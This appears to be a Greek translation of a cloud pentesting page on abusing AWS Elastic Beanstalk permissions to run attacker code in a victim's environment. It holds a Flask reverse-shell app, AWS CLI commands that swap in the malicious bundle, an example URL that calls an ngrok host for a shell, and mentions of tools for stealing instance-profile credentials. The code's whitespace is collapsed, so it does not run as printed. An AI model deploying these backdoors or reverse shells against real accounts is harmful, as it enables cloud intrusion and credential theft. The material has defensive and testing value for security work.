Για να εκτελέσετε ευαίσθητες ενέργειες στο Beanstalk θα χρειαστεί να έχετε πολλές ευαίσθητες άδειες σε πολλές διαφορετικές υπηρεσίες. Μπορείτε να ελέγξετε για παράδειγμα τις άδειες που δίνονται σε arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk
elasticbeanstalk:RebuildEnvironment, άδειες εγγραφής S3 & πολλές άλλες
Με άδειες εγγραφής πάνω στον S3 κάδο που περιέχει τον κώδικα του περιβάλλοντος και άδειες για ανακατασκευή της εφαρμογής (απαιτείται elasticbeanstalk:RebuildEnvironment και μερικές ακόμη σχετικές με S3, EC2 και Cloudformation), μπορείτε να τροποποιήσετε τον κώδικα, να ανακατασκευάσετε την εφαρμογή και την επόμενη φορά που θα αποκτήσετε πρόσβαση στην εφαρμογή θα εκτελεί τον νέο σας κώδικα, επιτρέποντας στον επιτιθέμενο να συμβιβάσει την εφαρμογή και τα διαπιστευτήρια ρόλου IAM της.
elasticbeanstalk:CreateApplication, elasticbeanstalk:CreateEnvironment, elasticbeanstalk:CreateApplicationVersion, elasticbeanstalk:UpdateEnvironment, iam:PassRole, και άλλα...
Οι αναφερόμενες καθώς και αρκετές S3, EC2, cloudformation, autoscaling και elasticloadbalancing άδειες είναι απαραίτητες για να δημιουργήσετε ένα βασικό σενάριο Elastic Beanstalk από την αρχή.
Πρώτα απ' όλα, πρέπει να δημιουργήσετε ένα νόμιμο περιβάλλον Beanstalk με τον κώδικα που θα θέλατε να εκτελέσετε στον θύμα ακολουθώντας τα προηγούμενα βήματα. Πιθανώς ένα απλό zip που να περιέχει αυτά τα 2 αρχεία:
from flask import Flask, request, jsonifyimport subprocess,os, socketapplication =Flask(__name__)@application.errorhandler(404)defpage_not_found(e):returnjsonify('404')@application.route("/")defindex():returnjsonify('Welcome!')@application.route("/get_shell")defsearch():host=request.args.get('host')port=request.args.get('port')if host and port:s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect((host,int(port)))os.dup2(s.fileno(),0)os.dup2(s.fileno(),1)os.dup2(s.fileno(),2)p=subprocess.call(["/bin/sh","-i"])returnjsonify('done')if__name__=="__main__":application.run()
Μόλις έχετε το δικό σας περιβάλλον Beanstalk να τρέχει το rev shell σας, είναι καιρός να μεταφέρετε αυτό στο περιβάλλον του θύματος. Για να το κάνετε αυτό, πρέπει να ενημερώσετε την Πολιτική Bucket του S3 bucket σας στο beanstalk ώστε το θύμα να μπορεί να έχει πρόσβαση σε αυτό (Σημειώστε ότι αυτό θα ανοίξει το Bucket σε ΟΛΟΥΣ):
# Use a new --version-label# Use the bucket from your own accountawselasticbeanstalkcreate-application-version--application-nameMyApp--version-labelMyApp-2.0--source-bundleS3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="revshell.zip"# These step needs the extra permissionsawselasticbeanstalkupdate-environment--environment-nameMyEnv--version-labelMyApp-1.0# To get your rev shell just access the exposed web URL with params such as:http://myenv.eba-ankaia7k.us-east-1.elasticbeanstalk.com/get_shell?host=0.tcp.eu.ngrok.io&port=13528Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBeanstalk) can be used to deploy a Beanstalk application that takes advantage of overly permissive Instance Profiles. Deploying this application will execute a binary (e.g., [Mythic](https://github.com/its-a-feature/Mythic) payload) and/or exfiltrate the instance profile security credentials (use with caution, GuardDuty alerts when instance profile credentials are used outside the ec2 instance).
ThedeveloperhasintentionstoestablishareverseshellusingNetcatorSocatwithnextstepstokeepexploitationcontainedtotheec2instancetoavoiddetections.